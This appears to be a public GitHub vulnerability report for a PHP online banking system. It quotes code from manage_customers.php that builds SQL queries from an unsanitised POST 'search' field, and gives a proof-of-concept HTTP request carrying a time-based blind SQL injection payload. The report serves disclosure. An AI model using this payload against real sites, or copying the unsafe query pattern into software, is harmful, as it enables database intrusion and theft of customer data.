☐ Oclickjacking0 / BugReport (Public) <> Code Issues **11** Pull requests Actions Projects Security ✓ Insights ጕ main ▼ BugReport / online-banking-system / sql_injection8.md OclickjackingO 新增漏洞分析文章 (1) History ৪১ 1 contributor 55 lines (46 sloc) | 1.73 KB Vulnerability file address net-banking/manage_customers.php from line 11,The \$_POST['search'] parameter is controllable, the parameter search can be passed through post, and the \$search is not protected from sql injection, line 70 \$result = \$conn->query(\$sql0); made a sql query, resulting in sql injection if (isset(\$_POST['submit'])) { \$back_button = TRUE; \$search = \$_POST['search']; by = POST['by'];if (\$by == "name") { \$sql0 = "SELECT cust_id, first_name, last_name, account_no FROM customer WHERE first_name LIKE '%".\$search."%' OR last_name LIKE '%".\$search."%' OR CONCAT(first_name, ' ', last_name) LIKE '%".\$search."%'"; } else {

\$sql0 = "SELECT cust_id, first_name, last_name, account_no FROM customer

WHERE account_no LIKE '\$search'";

}

}

POC

```
POST /net-banking/manage_customers.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Fi
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16
submit=&search=' AND (SELECT 4752 FROM (SELECT(SLEEP(5)))giHH)-- gbXY
```

Attack results pictures